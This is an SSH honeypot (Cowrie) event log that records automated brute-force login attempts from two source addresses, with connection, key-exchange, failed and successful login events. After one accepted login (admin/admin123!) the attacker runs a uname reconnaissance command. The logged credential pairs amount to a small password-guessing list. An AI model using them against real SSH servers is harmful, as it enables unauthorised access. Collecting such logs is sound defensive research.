{"eventid":"cowrie.login.failed","username":"root","password":"null","message":"login attempt [root/null] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:10:54.960927Z","src_ip":"91.92.40.171","session":"3d44733dd215","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:10:55.611288Z","src_ip":"91.92.40.171","session":"7163e9194b30","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.6","message":"Connection lost after 3.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:10:56.335635Z","src_ip":"91.92.42.133","session":"357a33c8eb02","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.3","message":"Connection lost after 7.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:10:56.756455Z","src_ip":"91.92.40.171","session":"3d44733dd215","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":46858,"dst_ip":"159.203.135.109","dst_port":22,"session":"def18cd2fc10","protocol":"ssh","message":"New connection: 91.92.42.133:46858 (159.203.135.109:22) [session: def18cd2fc10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:11:00.493716Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:11:00.665619Z","src_ip":"91.92.42.133","session":"def18cd2fc10","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:11:00.669109Z","src_ip":"91.92.42.133","session":"def18cd2fc10","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":60092,"dst_ip":"159.203.135.109","dst_port":22,"session":"e00257ebba16","protocol":"ssh","message":"New connection: 91.92.40.171:60092 (159.203.135.109:22) [session: e00257ebba16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:11:01.318762Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:11:01.324373Z","src_ip":"91.92.40.171","session":"e00257ebba16","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"123456","message":"login attempt [deploy/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:11:01.613893Z","src_ip":"91.92.42.133","session":"def18cd2fc10","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:11:02.344557Z","src_ip":"91.92.40.171","session":"e00257ebba16","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:11:02.940351Z","src_ip":"91.92.42.133","session":"def18cd2fc10","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin123!","message":"login attempt [admin/admin123!] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:11:05.227633Z","src_ip":"91.92.40.171","session":"e00257ebba16","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":51158,"dst_ip":"159.203.135.109","dst_port":22,"session":"40ac9d6df20e","protocol":"ssh","message":"New connection: 91.92.40.171:51158 (159.203.135.109:22) [session: 40ac9d6df20e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:11:07.223918Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:11:07.247720Z","src_ip":"91.92.40.171","session":"40ac9d6df20e","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:11:07.349299Z","src_ip":"91.92.40.171","session":"e00257ebba16","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:11:07.352600Z","src_ip":"91.92.40.171","session":"e00257ebba16","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":57480,"dst_ip":"159.203.135.109","dst_port":22,"session":"5f166adc0ba7","protocol":"ssh","message":"New connection: 91.92.42.133:57480 (159.203.135.109:22) [session: 5f166adc0ba7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:11:07.748457Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:11:07.889048Z","src_ip":"91.92.42.133","session":"5f166adc0ba7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:11:07.892882Z","src_ip":"91.92.42.133","session":"5f166adc0ba7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:11:08.122877Z","src_ip":"91.92.40.171","session":"40ac9d6df20e","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"1.0","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:11:08.390006Z","src_ip":"91.92.40.171","session":"e00257ebba16","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.1","message":"Connection lost after 7.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:11:08.394768Z","src_ip":"91.92.40.171","session":"e00257ebba16","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"1","message":"login attempt [test/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:11:09.086927Z","src_ip":"91.92.42.133","session":"5f166adc0ba7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:11:10.575795Z","src_ip":"91.92.42.133","session":"5f166adc0ba7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":51216,"dst_ip":"159.203.135.109","dst_port":22,"session":"ddb565cb1b2a","protocol":"ssh","message":"New connection: 91.92.40.171:51216 (159.203.135.109:22) [session: ddb565cb1b2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:11:10.653143Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:11:10.664023Z","src_ip":"91.92.40.171","session":"ddb565cb1b2a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:11:10.777568Z","src_ip":"91.92.40.171","session":"ddb565cb1b2a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"operator","password":"operator","message":"login attempt [operator/operator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:11:11.028534Z","src_ip":"91.92.40.171","session":"ddb565cb1b2a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:11:12.229103Z","src_ip":"91.92.40.171","session":"ddb565cb1b2a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe@123","message":"login attempt [root/qwe@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:11:12.277361Z","src_ip":"91.92.40.171","session":"40ac9d6df20e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":57538,"dst_ip":"159.203.135.109","dst_port":22,"session":"e5e8c79a9e79","protocol":"ssh","message":"New connection: 91.92.42.133:57538 (159.203.135.109:22) [session: e5e8c79a9e79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:11:13.695431Z"}
{"eventid":"cowrie.session.closed","duration":"7.1","message":"Connection lost after 7.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:11:14.301460Z","src_ip":"91.92.40.171","session":"40ac9d6df20e","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:11:14.441161Z","src_ip":"91.92.42.133","session":"e5e8c79a9e79","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:11:14.444362Z","src_ip":"91.92.42.133","session":"e5e8c79a9e79","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":49320,"dst_ip":"159.203.135.109","dst_port":22,"session":"bbb758beaece","protocol":"ssh","message":"New connection: 91.92.40.171:49320 (159.203.135.109:22) [session: bbb758beaece]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:11:16.235778Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:11:16.319679Z","src_ip":"91.92.40.171","session":"bbb758beaece","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:11:16.323141Z","src_ip":"91.92.40.171","session":"bbb758beaece","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"qwe123456","message":"login attempt [user/qwe123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:11:16.797808Z","src_ip":"91.92.42.133","session":"e5e8c79a9e79","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rocky","password":"1234","message":"login attempt [rocky/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:11:16.806136Z","src_ip":"91.92.40.171","session":"bbb758beaece","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:11:17.899571Z","src_ip":"91.92.40.171","session":"bbb758beaece","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.4","message":"Connection lost after 4.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:11:18.087016Z","src_ip":"91.92.42.133","session":"e5e8c79a9e79","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":43052,"dst_ip":"159.203.135.109","dst_port":22,"session":"ca40f682bc59","protocol":"ssh","message":"New connection: 91.92.42.133:43052 (159.203.135.109:22) [session: ca40f682bc59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:11:21.345962Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:11:21.720489Z","src_ip":"91.92.42.133","session":"ca40f682bc59","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:11:21.725192Z","src_ip":"91.92.42.133","session":"ca40f682bc59","protocol":"ssh"}
